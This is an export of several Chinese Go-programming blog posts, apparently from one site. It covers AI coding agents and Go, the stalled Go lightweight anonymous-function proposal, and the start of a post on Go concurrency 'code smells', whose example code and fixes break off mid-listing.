Rust！” Ptacek 认为这更多是语言生态和工具链成熟度的问题，而非 LLM 能力的根本缺陷。他特别指出：“我主要用 Go 工作……Go 恰到好处的类型安全、广泛的标准库以及推崇（通常是重复性）惯用法的文化。LLM 在生成 Go 代码方面表现出色。” 想必很多Go开发者也有着与Ptacek相同的感受，这是 Go 语言在 AI 辅助编程时代的一个显著优势！ Go 的简洁性、明确性、强大的标准库覆盖、以及社区对代码规范和惯用法的重视（例如 Effective Go），使得 Go 代码的模式相对统一和可预测，这为 LLM 的学习和生成提供了极大的便利。\n对“手工艺精神”与“平庸代码”的再思考 Ptacek 对软件开发中的“手工艺精神”和对“平庸代码”的过度排斥也提出了批判。\n他认为：专业软件开发者的工作是用代码为人们解决实际问题。在日常工作中，我们不是工匠。过度追求代码的“优雅”而忽视实际产出，可能是“自我安慰的yak-shaving（指做无关紧要的琐事）”。\n对于“平庸代码”，他认为：开发者都喜欢对代码自吹自擂。他们担心LLM降低了质量的“天花板”。也许吧。但它们也提高了“地板”。LLM 生成的“平庸但彻底”的代码，可能比人类开发者“抖机灵”但引入缺陷的代码更有价值。\n这也引发我们思考：在追求卓越工程的同时，我们是否也应该更务实地看待不同场景下对代码质量的不同要求？LLM 是否能帮助我们更高效地处理那些“允许平庸”但又耗时耗力的部分，从而让我们能将精力投入到真正需要人类智慧和创造力的核心工作中？\nGo 开发者如何拥抱 AI Agent 的时代？ Ptacek 的文章，无论你是否完全认同其所有观点，都为我们描绘了一个 AI Agent 深度参与软件开发的未来图景。作为 Gopher，我们应该如何应对？\n更新认知，拥抱变化： 首先要认识到，现代 AI 辅助编程已经远超简单的代码补全。应该主动去了解和体验基于 Agent 的编码工具。 学习与 AI Agent 高效协作： 掌握提示工程技巧，学会如何清晰地向 Agent表达需求、提供上下文、引导其生成和修改代码。 发挥 Go 语言的优势： 利用 Go 的简洁性、强大的标准库、快速的编译和测试工具链，为 AI Agent 构建高效的开发和反馈环境。思考如何让 Go 代码对 AI 更“友好”。 提升自身的核心价值： 将精力更多地投入到 AI 难以替代的领域：复杂系统设计、架构决策、需求理解与抽象、创新思维、以及对 Go 底层原理和并发模型的深刻理解。 参与构建 Go 的 AI Agent 生态： Go 语言本身非常适合构建 CLI 工具和后端服务。我们是否可以利用 Go 来创建更强大的、针对 Go 开发的 Agent 辅助工具或平台？ 小结：保持开放，主动实践，与 AI 共舞 AI 编码工具究竟是“真香”还是“智商税”？或许答案因人而异，也因我们如何使用它而异。但 Thomas Ptacek 的“挑衅”至少提醒我们，不能用静止的眼光看待飞速发展的技术。\nAI 辅助编程的浪潮已然到来。对于我们 Gopher 而言，Go 语言的特性使其在这波浪潮中具有独特的优势。与其固守过去的经验和偏见，不如保持开放的心态，主动去实践和探索，让 AI Agent 成为我们提升自身能力、加速项目交付、并最终能专注于更有创造性工作的强大伙伴。\n毕竟，正如 Ptacek 所说，当他那些“聪明的怀疑论朋友们”最终接受并开始使用这些工具时，他们将会让编码 Agent 比今天强大得多。\n而我们，又怎能置身事外呢？\n聊一聊，也帮个忙：\n你目前在工作中使用 AI 辅助编程工具（如 Copilot, Cursor.ai, Gemini Code Assist，Trae等）的体验如何？它在哪些方面帮助了你，又有哪些不足？ Ptacek 文章中对 AI 编码的哪个观点让你印象最深刻？你同意还是反对？为什么？ 你认为 Go 语言在 AI 辅助编程时代，还有哪些可以进一步优化的方向，以更好地与 LLM Agent 结合？ 欢迎在评论区留下你的思考和经验。如果你觉得这篇文章提供了一个值得探讨的视角，也请转发给你身边的开发者朋友们，一起参与这场关于 AI 与编程未来的讨论！\n想与我进行更深入的 Go 语言、AI 赋能开发与技术趋势交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/03/provocation-about-ai-assisted-programming/","summary":"\u003cp\u003eAI 编码工具“真香”还是“智商税”？一位资深码农的“挑衅”与Go开发者的反思 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"AI 编码工具“真香”还是“智商税”？一位资深码农的“挑衅”与Go开发者的反思"},{"content":"Go的简洁性之辩：轻量级匿名函数提案为何七年悬而未决？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo的简洁性之辩：轻量级匿名函数提案为何七年悬而未决？ 六月 3, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/03/lightweight-anonymous-func-syntax\n大家好，我是Tony Bai。\n自2017年提出以来，Go语言关于引入轻量级匿名函数语法的提案（Issue #21498）一直是社区讨论的焦点。该提案旨在提供一种更简洁的方式来定义匿名函数，尤其是当函数类型可以从上下文推断时，从而减少样板代码，提升代码的可读性和编写效率。然而，历经七年多的广泛讨论、多种语法方案的提出与激辩，以及来自核心团队成员的实验与分析，截至 2025年5 月底，官方对该提案的最新立场是“可能被拒绝 (likely declined)”，尽管问题仍保持开放以供未来考虑。近期该issue又冲上Go issue热度榜，让我有了对该提案做一个简单解读的冲动。在本文中，我将和大家一起探讨该提案的核心动机、社区的主要观点与分歧、面临的挑战，以及这一最新倾向对 Go 语言和开发者的潜在影响。\n冗余之痛：当前匿名函数的困境 在Go中，匿名函数的标准写法是\nfunc(参数列表) (返回类型列表) { 函数体 } 虽然这种语法明确且一致，但在许多场景下，尤其是作为回调函数或在函数式编程风格（如配合泛型和迭代器使用）中，参数和返回类型往往可以从上下文清晰推断，此时显式声明则显得冗余。\n提案发起者 Neil (neild) 给出了一个经典的例子：\nfunc compute(fn func(float64, float64) float64) float64 { return fn(3, 4) } // 当前写法，类型声明重复 var _ = compute(func(a, b float64) float64 { return a + b }) 许多现代语言，如 Scala ((x, y) =\u0026gt; x + y 或 _ + _) 和 Rust (|x, y| { x + y })，都提供了更简洁的 lambda 表达式语法，允许在类型可推断时省略它们。这种简洁性被认为可以提高代码的信噪比，让开发者更专注于业务逻辑。\nGo匿名函数常见的痛点场景包括：\n回调函数：如 http.HandlerFunc、errgroup.Group.Go、strings.TrimFunc。 泛型辅助函数：随着 Go 1.18 泛型的引入，如 slices.SortFunc、maps.DeleteFunc 以及设想中的 Map/Filter/Reduce 等操作，匿名函数的应用更加广泛，其冗余性也更为凸显。 迭代器：Go 1.23 引入的 range over func 迭代器特性，也使得将函数作为序列或转换器传递成为常态，轻量级匿名函数能显著改善其体验（如 #61898 x/exp/xiter 提案的讨论中多次提及）。正如一些开发者指出的，结合迭代器使用时，现有匿名函数语法会使代码显得冗长。 提案核心：轻量级语法的设想 该提案的核心思想是引入一种“非类型化函数字面量 (untyped function literal)”，其类型可以从赋值上下文（如变量赋值、函数参数传递）中推断得出。提案初期并未限定具体语法，而是鼓励社区探讨各种可能性。\nGo team的AI 生成的总结指出，讨论中浮现的语法思路主要可以归为以下几种：\n箭头函数风格 (Arrow Function Style): 借鉴 JavaScript, Scala, C#, Java 等。 * 例如：(x, y) =\u0026gt; { x + y } 或 (x,y) =\u0026gt; x+y 保留 func 关键字并进行变体: * 例如：func a, b { a+b } (省略参数括号) * func(a,b): a+b (使用冒号分隔) * func { x, y | return x \u0026lt; y } (参数列表移入花括号，使用 | 或 -\u0026gt; 分隔) 基于现有语法的类型推断改进: * 例如：允许在 func(a _, b _) _ { return a + b } 中使用 _ 作为类型占位符。 其核心优势在于：\n减少样板代码： 省略冗余的类型声明。 提升可读性（对部分人而言）： 使代码更紧凑，逻辑更突出。 促进函数式编程风格： 降低使用高阶函数和回调的心理门槛。 社区的激辩：争议焦点与权衡 该提案引发了 Go 社区长达数年的激烈讨论，根据 Robert Griesemer 提供的 AI上述总结 和整个讨论链，主要争议点包括：\n1. 可读性 vs. 简洁性 支持简洁方： 认为在类型明确的上下文中，重复声明类型是视觉噪音。简洁的语法能让代码更易于速读和理解，尤其是在函数式链式调用中。他们认为 Go 已经通过 := 接受了类型推断带来的简洁性。 强调显式方： 以 Dave Cheney 的名言“Clear is better than clever” 为代表，一些开发者认为显式类型声明增强了代码的自文档性和可维护性。他们担心过度省略类型信息会增加认知负担，尤其对于初学者或在没有强大 IDE 支持的情况下阅读代码。Go密码学前负责人FiloSottile 指出，在阅读不熟悉的代码时，缺少类型信息会迫使其跳转到定义或依赖 IDE。Go元老Ian Lance Taylor也表达了对当前显式语法的肯定，认为其对读者而言清晰度很高。 2. 语法选择的困境 这是提案迟迟未能落地的最主要原因之一。社区提出了数十种不同的语法变体，但均未能形成压倒性的共识。\n箭头语法 (=\u0026gt; 或 -\u0026gt;)： 优点： 许多开发者因在其他语言中的使用经验而感到熟悉，被认为非常简洁。Jimmy Frasche 的语言调查显示这是许多现代语言的选择。 缺点： 一些人认为它“不像 Go”，=\u0026gt; 可能与 \u0026gt;= 或 \u0026lt;= 在视觉上产生混淆，-\u0026gt; 可能与通道操作 \u0026lt;- 混淆 。Robert Griesemer指出，虽然 (x, y) =\u0026gt; x + y 感觉自然，但 (x, y) =\u0026gt; { … } 对于 Go 而言感觉奇怪。Ian Lance Taylor也表达了对箭头符号的不完全满意，认为在某些代码上下文中可读性欠佳。 保留 func 并简化： func params {} (省略参数括号)：Ian Lance Taylor 和 Robert Griesemer 曾探讨过此形式。主要问题在于 func a, b {} 在函数调用参数列表中可能与多个参数混淆。 func { params | body } 或 func { params -\u0026gt; body }：Griesemer 在后期倾向于这种将参数列表置于花括号内的形式，认为 func { 可以明确指示轻量级函数字面量。| 用于语句体，-\u0026gt; (可选地) 用于单表达式体。Jimmy Frasche 对此形式的“DSL感”提出异议，认为其借鉴的 Smalltalk/Ruby 风格在 Go 中缺乏相应的上下文。 其他符号： 如使用冒号 func(a,b): expr ，或 _ 作为类型占位符。Griesemer认为 _ 作为类型占位符会产生混淆。\nRobert Griesemer 进行的实验表明，func 后不带括号的参数列表 (func x, y { … }) 在实际 Go 代码中看起来奇怪，而箭头符号 (=\u0026gt;) 则“出乎意料地可读”。他后期的实验进一步对比了 (args) =\u0026gt; { … } 和 func { args | … }。\n3. 隐式返回 (Implicit Return) 对于单表达式函数体是否应该省略 return 关键字，也存在分歧。\n支持方： 认为这能进一步提升简洁性，是许多 lambda 语法的常见特性。 反对方： 担心这会使返回行为不够明确，尤其是在 Go 允许多值返回和 ExpressionStmt (如函数调用本身可作为语句) 的情况下，可能会导致混淆或意外行为。例如 func { s -\u0026gt; fmt.Println(s) }，如果 fmt.Println 有返回值，这个函数是返回了那些值，还是一个 void 函数？这需要非常明确的规则，并且可能依赖上下文。 4. 类型推断的复杂性与边界 虽然核心思想是“从上下文复制类型”，但当涉及到泛型时，推断会变得复杂。\nMap((x) =\u0026gt; { … }, []int{1,2,3}) ：如果 Map 是 func Map[Tin, Tout any](in []Tin, f func(Tin) Tout) []Tout，那么 Tout 如何推断？是要求显式实例化 Map[int, ReturnType]，还是尝试从 lambda 体内推断？后者将引入更复杂的双向类型推断，可能导致参数顺序影响推断结果，或在接口类型和具体类型之间产生微妙的 bug（如 typed nil 问题）。 neild 和 Merovius 指出，在很多情况下，可能需要显式提供泛型类型参数，或者接受推断的局限性。Griesemer提出的最新简化方案 (params) { statements } 明确指出其类型是从目标函数类型“复制”而来，且目标类型不能有未解析的类型参数。 5. 对 Go 语言哲学的影响 一些开发者担忧，引入过于灵活或“魔法”的语法会偏离 Go 语言简单、直接、显式优于隐式的核心哲学。他们认为现有语法虽冗长，但足够清晰，且 IDE 工具（如 gopls 的自动补全）已在一定程度上缓解了编写时的痛点。\n开发者tmaxmax在其详尽的实验分析中指出，尽管标准库中单表达式函数字面量比例不高，但在其工作代码库中，这类情况更为常见，尤其是在使用泛型辅助函数如 Map、Filter 时。这表明不同代码库和使用场景下，对简洁语法的需求度可能存在差异。\n最新动向：为何“可能被拒绝”？ 在提案的最新comment说明中 (May 2025)，明确指出：\nThe Go team has decided to not proceed with adding a lightweight anonymous function syntax at this time. The complexity cost associated with the new syntax, combined with the lack of clear consensus on the syntax, makes it difficult to justify moving forward. Therefore, this proposal is likely declined for now. The issue will remain open for future consideration, but the Go team does not intend to pursue this proposal for now.\n这一立场由 Robert Griesemer 在上述AI 总结中进一步确认。核心原因可以归纳为：\n缺乏明确共识： 尽管讨论热烈，但社区和核心团队均未就一个理想的、被广泛接受的语法方案达成一致。各种方案都有其支持者和反对者，以及各自的优缺点和潜在问题。 复杂性成本： 任何新语法都会增加语言的复杂性（学习、实现、工具链维护、文档等）。在收益不明确或争议较大的情况下，Go 团队倾向于保守。 潜在的微妙问题与可读性担忧： 正如讨论中浮现的各种边界情况（如类型推断与泛型的交互、隐式返回的歧义、私有类型访问限制等），引入新语法需要非常谨慎。Ian Lance Taylor 明确表达了对当前显式语法在可读性方面的肯定，并对省略类型信息可能带来的阅读障碍表示担忧。 已有工具的缓解作用： 正如一些评论者指出，IDE 的自动补全功能在一定程度上减轻了编写冗长函数字面量的痛苦。 Robert Griesemer进一步总结，将备选方案缩小到 (params) { statements }, (params) { statements }, 和 (params) -\u0026gt; { statements } (或 =\u0026gt;)，并指出即使是这些方案，也各有其不完美之处。他强调了在没有明确压倒性优势方案和社区强烈共识的情况下，贸然推进的风险。\n影响与未来展望 尽管 #21498 提案目前大概率会被搁置，但它所反映的开发者对于减少样板代码、提升特定场景下编码效率的诉求是真实存在的。\n对迭代器和泛型库的影响： 如果提案最终未被采纳，那么严重依赖回调函数的泛型库（如设想中的 xiter 或其他函数式集合库）在使用上将保持当前的冗余度。这可能会在一定程度上抑制纯函数式风格在 Go 中的发展，或者促使开发者寻求其他模式（例如，手写循环或构建更专门的辅助函数）。有开发者认为缺乏简洁的 lambda 语法是阻碍 Go 社区充分实验函数式特性（尤其是迭代器组合）的先决条件之一。\n社区的持续探索： 提案的开放状态意味着未来仍有讨论空间。如果 Go 语言在其他方面（如类型系统、元编程能力）发生演进，或者社区就某一特定语法方向形成更强共识，提案可能会被重新激活。tmaxmax 建议将讨论重心从无休止的语法细节转向更根本的动机和语义问题。\n工具的进步： IDE 和代码生成工具可能会继续发展，以进一步缓解手动编写完整函数字面量的繁琐。\n开发者习惯： Go 开发者将继续在现有语法框架内寻求平衡。对于高度重复的匿名函数模式，可能会更多地采用具名辅助函数或方法来封装。正如 adonovan 的实验所示，某些特定场景（如单 return 语句）可能更容易找到局部优化方案。\n小结 Go 语言轻量级匿名函数语法的提案 #21498，是一场关于语言简洁性、可读性、一致性与演进方向的深刻大讨论。它暴露出在追求更现代编程范式便利性的同时，维护 Go 语言核心设计哲学的内在张力。虽然目前看来，由于缺乏明确共识和对复杂性的审慎态度，引入一种全新的、被广泛接受的简洁匿名函数语法道阻且长，但这场长达七年的讨论本身，已经为 Go 社区积累了宝贵的思考、实验数据和经验。未来，无论此提案走向何方，对代码清晰度和开发者体验的追求都将持续驱动 Go 语言的演进。Go 团队将持续观察语言的使用和社区的需求，在合适的时机可能会重新审视此类提案。\n在 Go 语言的演进过程中，每一个提案的讨论都凝聚了社区的智慧和对这门语言深沉的热爱。轻量级匿名函数语法的提案，历经七年风雨，虽然目前官方倾向于搁置，但这扇门并未完全关闭。\n对于 Go 开发者来说，这场旷日持久的讨论留下了哪些值得我们深思的问题？\n你认为在当前 Go 的语法体系下，匿名函数的冗余是亟待解决的痛点吗？或者你认为现有的显式声明更符合 Go 的哲学？ 在可读性、简洁性和语言复杂性之间，你认为 Go 应该如何权衡？ 如果未来 Go 语言采纳某种形式的轻量级匿名函数，你最期待哪种语法特性（例如，类型推断、隐式返回、特定符号）？ 你是否在自己的项目中因为匿名函数的冗余而选择过其他编码模式？欢迎分享你的经验和看法。 我期待在评论区看到你的真知灼见，共同探讨 Go 语言的现在与未来！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/03/lightweight-anonymous-func-syntax/","summary":"\u003cp\u003eGo的简洁性之辩：轻量级匿名函数提案为何七年悬而未决？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go的简洁性之辩：轻量级匿名函数提案为何七年悬而未决？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/05/31/six-smells-in-go\n大家好，我是Tony Bai。\n在日常的代码审查 (Code Review) 和线上问题复盘中，我经常会遇到一些看似不起眼，却可能埋下巨大隐患的 Go 代码问题。这些“编码坏味道”轻则导致逻辑混乱、性能下降，重则引发数据不一致、系统崩溃，甚至让团队成员在深夜被告警声惊醒，苦不堪言。\n今天，我就结合自己团队中的一些“血淋淋”的经验，和大家聊聊那些曾让我（或许也曾让你）头痛不已的 Go 编码坏味道。希望通过这次复盘，我们都能从中吸取教训，写出更健壮、更优雅、更经得起考验的 Go 代码。\n坏味道一：异步时序的“迷魂阵”——“我明明更新了，它怎么还是旧的？” 在高并发场景下，为了提升性能，我们经常会使用 goroutine 进行异步操作。但如果对并发操作的原子性和顺序性缺乏正确理解，就很容易掉进异步时序的陷阱。\n典型场景：先异步通知，后更新状态\n想象一下，我们有一个订单处理系统，当用户支付成功后，需要先异步发送一个通知给营销系统（比如发优惠券），然后再更新订单数据库的状态为“已支付”。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) type Order struct { ID string Status string // \u0026#34;pending\u0026#34;, \u0026#34;paid\u0026#34;, \u0026#34;notified\u0026#34; } func updateOrderStatusInDB(order *Order, status string) { fmt.Printf(\u0026#34;数据库：订单 %s 状态更新为 %s\\n\u0026#34;, order.ID, status) order.Status = status // 模拟数据库更新 } func asyncSendNotification(order *Order) { fmt.Printf(\u0026#34;营销系统：收到订单 %s 通知，当前状态：%s。准备发送优惠券...\\n\u0026#34;, order.ID, order.Status) // 模拟耗时操作 time.Sleep(50 * time.Millisecond) fmt.Printf(\u0026#34;营销系统：订单 %s 优惠券已发送 (基于状态：%s)\\n\u0026#34;, order.ID, order.Status) } func main() { order := \u0026amp;Order{ID: \u0026#34;123\u0026#34;, Status: \u0026#34;pending\u0026#34;} var wg sync.WaitGroup fmt.Printf(\u0026#34;主流程：订单 %s 支付成功，准备处理...\\n\u0026#34;, order.ID) // 坏味道：先启动异步通知，再更新数据库状态 wg.Add(1) go func(o *Order) { // 注意这里传递了指针 defer wg.Done() asyncSendNotification(o) }(order) // goroutine 捕获的是 order 指针 // 模拟主流程的其他操作，或者数据库更新前的延时 time.Sleep(500 * time.Millisecond) updateOrderStatusInDB(order, \u0026#34;paid\u0026#34;) // 更新数据库状态 wg.Wait() fmt.Printf(\u0026#34;主流程：订单 %s 处理完毕，最终状态：%s\\n\u0026#34;, order.ID, order.Status) } 该示例的可能输出：\n主流程：订单 123 支付成功，准备处理... 营销系统：收到订单 123 通知，当前状态：pending。准备发送优惠券... 营销系统：订单 123 优惠券已发送 (基于状态：pending) 数据库：订单 123 状态更新为 paid 主流程：订单 123 处理完毕，最终状态：paid 我们看到营销系统拿到的优惠券居然是基于“pending”状态。\n问题分析：\n在上面的代码中，asyncSendNotification goroutine 和 updateOrderStatusInDB 是并发执行的。由于 asyncSendNotification 启动在先，并且捕获的是 order 指针，它很可能在 updateOrderStatusInDB 将订单状态更新为 “paid” 之前 就读取了 order.Status。这就导致营销系统基于一个过时的状态（”pending”）发送了通知或优惠券，引发业务逻辑错误。\n避坑指南：\n确保关键操作的同步性或顺序性： 对于有严格先后顺序要求的操作，不要轻易异步化。如果必须异步，确保依赖的操作完成后再执行。 使用同步原语： 利用 sync.WaitGroup、channel 等确保操作的正确顺序。例如，可以先更新数据库，再启动异步通知。 传递值而非指针（如果适用）： 如果异步操作仅需快照数据，考虑传递值的副本，而不是指针。但在很多场景下，我们确实需要操作同一个对象。 在异步回调中重新获取最新状态： 如果异步回调依赖最新状态，应在回调函数内部重新从可靠数据源（如数据库）获取，而不是依赖启动时捕获的状态。 修正示例思路：\n// ... (Order, updateOrderStatusInDB, asyncSendNotification 定义不变) ... func main() { order := \u0026amp;Order{ID: \u0026#34;123\u0026#34;, Status: \u0026#34;pending\u0026#34;} var wg sync.WaitGroup fmt.Printf(\u0026#34;主流程：订单 %s 支付成功，准备处理...\\n\u0026#34;, order.ID) updateOrderStatusInDB(order, \u0026#34;paid\u0026#34;) // 先更新数据库状态 // 再启动异步通知 wg.Add(1) go func(o Order) { // 传递结构体副本，或者在异步函数内部重新获取 defer wg.Done() // 实际场景中，如果 asyncSendNotification 依赖的是更新后的状态， // 它应该有能力从某个地方（比如参数，或者内部重新查询）获取到 \u0026#34;paid\u0026#34; 这个状态。 // 这里简化为直接使用传入时的状态，但强调其应为 \u0026#34;paid\u0026#34;。 // 或者，更好的方式是 asyncSendNotification 接受一个 status 参数。 clonedOrderForNotification := o // 假设我们传递的是更新后的状态的副本 asyncSendNotification(\u0026amp;clonedOrderForNotification) }(*order) // 传递 order 的副本，此时 order.Status 已经是 \u0026#34;paid\u0026#34; wg.Wait() fmt.Printf(\u0026#34;主流程：订单 %s 处理完毕，最终状态：%s\\n\u0026#34;, order.ID, order.Status) } 坏味道二：指针与闭包的“爱恨情仇”——“我以为它没变，结果它却跑了！” 闭包是 Go 语言中一个强大的特性，它能够捕获其词法作用域内的变量。然而，当闭包捕获的是指针，并且这个指针指向的数据在 goroutine 启动后可能被外部修改，或者指针本身被重新赋值时，就可能导致并发问题和难以预料的行为。虽然 Go 1.22+ 通过实验性的 GOEXPERIMENT=loopvar 改变了 for 循环变量的捕获语义，解决了经典的循环变量闭包陷阱，但指针与闭包结合时对共享可变状态的考量依然重要。\n典型场景：闭包捕获指针，外部修改指针或其指向内容\n我们来看一个不涉及循环变量，但同样能体现指针与闭包问题的场景：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) type Config struct { Version string Timeout time.Duration } func watchConfig(cfg *Config, wg *sync.WaitGroup) { defer wg.Done() // 这个 goroutine 期望在其生命周期内使用 cfg 指向的配置 // 但如果外部在它执行期间修改了 cfg 指向的内容，或者 cfg 本身被重新赋值， // 那么这个 goroutine 看到的内容就可能不是启动时的那个了。 fmt.Printf(\u0026#34;Watcher: 开始监控配置 (Version: %s, Timeout: %v)\\n\u0026#34;, cfg.Version, cfg.Timeout) time.Sleep(100 * time.Millisecond) // 模拟监控工作 fmt.Printf(\u0026#34;Watcher: 监控结束，使用的配置 (Version: %s, Timeout: %v)\\n\u0026#34;, cfg.Version, cfg.Timeout) } func main() { currentConfig := \u0026amp;Config{Version: \u0026#34;v1.0\u0026#34;, Timeout: 5 * time.Second} var wg sync.WaitGroup fmt.Printf(\u0026#34;主流程：初始配置 (Version: %s, Timeout: %v)\\n\u0026#34;, currentConfig.Version, currentConfig.Timeout) // 启动一个 watcher goroutine，它捕获了 currentConfig 指针 wg.Add(1) go watchConfig(currentConfig, \u0026amp;wg) // currentConfig 指针被传递 // 主流程在 watcher goroutine 执行期间，修改了 currentConfig 指向的内容 time.Sleep(10 * time.Millisecond) // 确保 watcher goroutine 已经启动并打印了初始配置 fmt.Println(\u0026#34;主流程：检测到配置更新，准备在线修改...\u0026#34;) currentConfig.Version = \u0026#34;v2.0\u0026#34; // 直接修改了指针指向的内存内容 currentConfig.Timeout = 10 * time.Second fmt.Printf(\u0026#34;主流程：配置已修改为 (Version: %s, Timeout: %v)\\n\u0026#34;, currentConfig.Version, currentConfig.Timeout) // 或者更极端的情况，主流程让 currentConfig 指向了一个全新的 Config 对象 // time.Sleep(10 * time.Millisecond) // fmt.Println(\u0026#34;主流程：检测到配置需要完全替换...\u0026#34;) // currentConfig = \u0026amp;Config{Version: \u0026#34;v3.0\u0026#34;, Timeout: 15 * time.Second} // currentConfig 指向了新的内存地址 // fmt.Printf(\u0026#34;主流程：配置已替换为 (Version: %s, Timeout: %v)\\n\u0026#34;, currentConfig.Version, currentConfig.Timeout) // 注意：如果 currentConfig 被重新赋值指向新对象，原 watchConfig goroutine 仍然持有旧对象的指针。 // 但如果原意是让 watchConfig 感知到“最新的配置”，那么这种方式是错误的。 wg.Wait() fmt.Println(\u0026#34;主流程：所有处理完毕。\u0026#34;) fmt.Println(\u0026#34;\\n--- 更安全的做法：传递副本或不可变快照 ---\u0026#34;) // 更安全的做法：如果 goroutine 需要的是启动时刻的配置快照 stableConfig := \u0026amp;Config{Version: \u0026#34;v1.0-stable\u0026#34;, Timeout: 5 * time.Second} configSnapshot := *stableConfig // 创建一个副本 wg.Add(1) go func(cfgSnapshot Config, wg *sync.WaitGroup) { // 传递的是 Config 值的副本 defer wg.Done() fmt.Printf(\u0026#34;SafeWatcher: 开始监控配置 (Version: %s, Timeout: %v)\\n\u0026#34;, cfgSnapshot.Version, cfgSnapshot.Timeout) time.Sleep(100 * time.Millisecond) // 即使外部修改了 stableConfig，cfgSnapshot 依然是启动时的值 fmt.Printf(\u0026#34;SafeWatcher: 监控结束，使用的配置 (Version: %s, Timeout: %v)\\n\u0026#34;, cfgSnapshot.Version, cfgSnapshot.Timeout) }(configSnapshot, \u0026amp;wg) time.Sleep(10 * time.Millisecond) stableConfig.Version = \u0026#34;v2.0-stable\u0026#34; // 修改原始配置 stableConfig.Timeout = 10 * time.Second fmt.Printf(\u0026#34;主流程：stableConfig 已修改为 (Version: %s, Timeout: %v)\\n\u0026#34;, stableConfig.Version, stableConfig.Timeout) wg.Wait() fmt.Println(\u0026#34;主流程：所有安全处理完毕。\u0026#34;) } 问题分析：\n在第一个示例中，watchConfig goroutine 通过闭包（函数参数也是一种闭包形式）捕获了 currentConfig 指针。这意味着 watchConfig 内部对 cfg 的访问，实际上是访问 main goroutine 中 currentConfig 指针所指向的那块内存。\n当外部修改指针指向的内容时： 如代码中 currentConfig.Version = “v2.0″，watchConfig goroutine 在后续访问 cfg.Version 时，会看到这个被修改后的新值，这可能不是它启动时期望的行为。 当外部修改指针本身时 (注释掉的极端情况)： 如果 currentConfig = \u0026amp;Config{Version: “v3.0″, …}，那么 watchConfig 捕获的 cfg 仍然指向原始的 Config 对象（即 “v1.0″ 那个）。如果此时的业务逻辑期望 watchConfig 使用“最新的配置对象”，那么这种捕获指针的方式就会导致错误。 这些问题的根源在于对共享可变状态的并发访问缺乏控制，以及对指针生命周期和闭包捕获机制的理解不够深入。\n避坑指南：\n明确 goroutine 需要的数据快照还是共享状态： * 如果 goroutine 只需要启动时刻的数据快照，并且不希望受外部修改影响，那么应该**传递值的副本**给 goroutine（或者在闭包内部创建副本）。如第二个示例中的 configSnapshot。 * 如果 goroutine 需要与外部共享并感知状态变化，那么必须使用**同步机制**（如 mutex、channel、atomic 操作）来保护对共享状态的访问，确保数据一致性和避免竞态条件。 谨慎捕获指针，特别是那些可能在 goroutine 执行期间被修改的指针： * 如果捕获了指针，要清楚地知道这个指针的生命周期，以及它指向的数据是否会被其他 goroutine 修改。 * 如果指针指向的数据是可变的，并且多个 goroutine 会并发读写，**必须加锁保护**。 考虑数据的不可变性： 如果可能，尽量使用不可变的数据结构。将不可变的数据传递给 goroutine 是最安全的并发方式之一。\n对于经典的 for 循环启动 goroutine 捕获循环变量的问题：\n* **Go 1.22+ (启用 GOEXPERIMENT=loopvar) 或未来版本：** 语言层面已经解决了每次迭代共享同一个循环变量的问题，每次迭代会创建新的变量实例。此时，直接在闭包中捕获循环变量是安全的。 * **Go 1.21 及更早版本 (或未启用 loopvar 实验特性)：** 仍然需要通过**函数参数传递**的方式来确保每个 goroutine 捕获到正确的循环变量值。例如： for i, v := range values { valCopy := v // 如果 v 是复杂类型，可能需要更深的拷贝 indexCopy := i go func() { // 使用 valCopy 和 indexCopy }() } // 或者更推荐的方式： for i, v := range values { go func(idx int, valType ValueType) { // ValueType 是 v 的类型 // 使用 idx 和 valType }(i, v) } 虽然 Go 语言在 for 循环变量捕获方面做出了改进，但指针与闭包结合时对共享状态和生命周期的审慎思考，仍然是编写健壮并发程序的关键。\n坏味道三：错误处理的哲学——“是Bug就让它崩！”真的好吗？ Go 语言通过返回 error 值来处理可预期的错误，而 panic 则用于表示真正意外的、程序无法继续正常运行的严重错误，通常由运行时错误（如数组越界、空指针解引用）或显式调用 panic() 引发。当 panic 发生且未被 recover 时，程序会崩溃并打印堆栈信息。\n一种常见的观点是：“如果是 Bug，就应该让它尽快崩溃 (Fail Fast)”，以便问题能被及时发现和修复。这种观点在很多情况下是合理的。然而，在某些 mission-critical（关键任务）系统中，例如金融交易系统、空中交通管制系统、重要的基础设施服务等，一次意外的宕机重启可能导致不可估量的损失或严重后果。在这些场景下，即使因为一个未捕获的 Bug 导致了 panic，我们也可能期望系统能有一定的“韧性”，而不是轻易“放弃治疗”。\n典型场景：一个关键服务在处理请求时因 Bug 发生 Panic\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;runtime/debug\u0026#34; \u0026#34;time\u0026#34; ) // 